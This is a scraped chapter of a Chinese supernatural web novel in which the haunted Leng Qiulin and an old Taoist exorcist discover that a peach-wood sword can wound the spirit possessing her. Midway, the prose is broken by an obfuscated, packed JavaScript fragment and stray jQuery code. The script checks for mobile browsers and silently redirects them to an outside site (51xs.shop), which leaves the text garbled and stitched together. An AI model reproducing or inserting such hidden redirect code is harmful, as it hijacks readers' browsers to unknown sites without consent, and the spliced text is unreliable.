人影停在了头顶上面,却不肯再近一点,冷秋霖想要抬头,却根本没有身体的控制权。
一般民间这种情况叫做鬼压床,医生会告诉你这是梦魇。
但不管是什么她只想赶紧从这个无边无际的梦中醒过来。
“呵。”只听对方冷笑一声,随即梦碎了,冷秋霖终于睁开眼睛。
“醒了?”老头抓着冷秋霖的肩膀使劲摇晃。
“别摇了,脑浆给你摇匀了!”冷秋霖推开老头,跌跌撞撞爬起来。
“奇怪,我明明用了雷符,可为什么你还是醒不过来,你身体里到底是什么鬼?”老头一脸严肃。
“算我求你了,别玩了,我这样下去别说三年,一年都活不了。”冷秋霖摸了摸被掐青的脖子。
“不对劲,你等等我。”说着老头又跑了。
院长前来接她的时候,一张脸阴沉得可以滴出水来,他点头哈腰地跟军队的人解释了半天,脸都快笑烂了,军队才把冷秋霖放了。
“那个老头……”冷秋霖感觉气压太低了,有点不好开口。
“你还有点义气,有空担心别人,不如先担心自己。”院长都快气疯了。
冷秋霖还是第一次看见如此失态的院长,只能默默低下头挨骂。
“你们有本事翻进去,那就不要让人发现啊!我这个院长当得容易吗我,于老头是怎么着都不会有事的,你呢?想被枪毙啊?”院长一共骂了三十分钟,把冷秋霖都骂困了。
“所以里面那个女人是谁?”冷秋霖回想起女人的脸还是会害怕。
院长一下子安静了,过了一会才开口:“你懂的,很多科学实验总是要付出代价的。”
冷秋霖很想说不懂,但院长她写三千字的检查,再问就写五千。
就算是上学的时候,她也没有写过什么检查,做什么都要争第一的冷秋霖,怎么可能让自己留下写检查的污点。
有手机还能上网查一下,现在怎么弄?
“啊啊啊啊啊!”冷秋霖抓狂了。
“呲呲呲。”老头从窗外露出半个脑袋。
“碰——”的一声,冷秋霖用枕头狠狠砸了上去:“你就庆幸精神病院没有趁手的东西能砸死你吧。”
“话不能这么说,你看我带来了什么。”老头自顾自地从窗户翻进来。
“每跟你多说一句话,我就离阎王爷那里更进一步。”
“真的,你看。”老头把抗在肩头的包袱甩到病床上,里面的东西一股脑跑了出来,乱七八糟地堆放在床上:“我终于从老妖婆手中偷回来了。”
“铛~”老头摇了摇一个银色的铃铛:“这是清心铃。”
紧接着老头又拿起一块长方形的木头:“这是雷祖令。”
老头如数家珍地把冷秋霖只在电影里看过的道家法器一一介绍。
看冷秋霖愣住了,老头得意地说:“怎么样,厉害吧。”
“厉害,义乌批发,货美价廉。”冷秋霖不屑地说。
“你咋回事啊,我都给你看这么厉害的东西了,你应该感恩戴德。”
“感恩戴德?”冷秋霖冷笑一声,抓起雷祖令就朝老头扔了过去:“怎么不劈雷?”
然后冷秋霖又扔了几张符到老头身上:“杂不会起火呢?”
认得的,认不得的,都被冷秋霖扔了个遍。
“我也是脑子有问题才相信你。”冷秋霖一边砸东西,老头一边躲。
“不能动那个,那个是祖师爷。”老头委屈巴巴地看着冷秋霖。
“呵,我让你祖师爷!”冷秋霖火冒三丈。
“啊——”一个尖锐凄厉的叫声响起,直穿冷秋霖的天灵盖,给了灵魂一记右勾拳,再来一记右勾拳,总之把她揍得七荤八素,整个人晕乎乎的。
等严重的耳鸣结束之后,冷秋霖这才回过神来:“啥?啥玩意?”
她低头看了看自己手中的桃木剑,一时有些难以置信。
“我还以为你身体那玩意什么都不怕呢,还得是祖师爷出马。”老头双手叉腰,神气活现的。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284517|152010||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>“到底……”冷秋霖又看了看自己手中的桃木剑,她就是随手一刺,没想到真刺中鬼了?
“等等,你说我身体里有鬼对吗?”冷秋霖冷静下来,急切地看着老头,想要寻找到答案。
“是这样没错。”老头点点头:“但我不确定是什么东西,一般的鬼没有这么大的能耐,但如果是魔的话,它们根本不屑于附身在人身上,尤其还是你这样一个普通人。”
“它为什么找上我啊?”问出这一句,冷秋霖心中满是委屈,眼眶瞬间就红了。
“你也是够坚强的了,这得有三五年了吧?”
“是十年了,我一直不确定自己是不是撞邪。”冷秋霖满腹委屈不知道从何说起。
“啥?十年?”老头皱眉:“你八字给我一下。”
“哦。”冷秋霖报了出生日期。
“不对,这个八字对不上,就你这死犟的性格,还能硬扛那东西十年,谁有你生猛啊。”老头满脸嫌弃地上下打量了冷秋霖一眼。
“说事就说事,不带人生攻击的。”冷秋霖无奈耸肩,苦笑一声:“我不知道啊,我妈说这就是我的出生时间,要是不对,大概我在医院被抱错了。”
“等我想想……”老头背着手,在病房里来回踱步:“巳时不对,只有午时,你才能硬扛这么久。午的话我大概知道它为什么找上你了。”
“为啥?”冷秋霖好奇地说:“其实吧,我这些年为了自救也学过算命,但每次都跟自己的八字对不上,所以会质疑算命的真假。”
“你一直在质疑真假?”老头问。
“额……”冷秋霖忽然反应过,瞪大眼睛复杂地看着老头:“所以……这有可能是早有所谋划的?”
“先不管那个,你的事有难度。”
冷秋霖只觉不寒而栗,说不定从她出生开始,这个局就布置好了。
“扑通”一声,冷秋霖跪在地上,一把鼻涕一把泪地抱住老头的大腿:“是我有眼不识泰山,是我以小人之心度君子之腹,大师求求您救我。”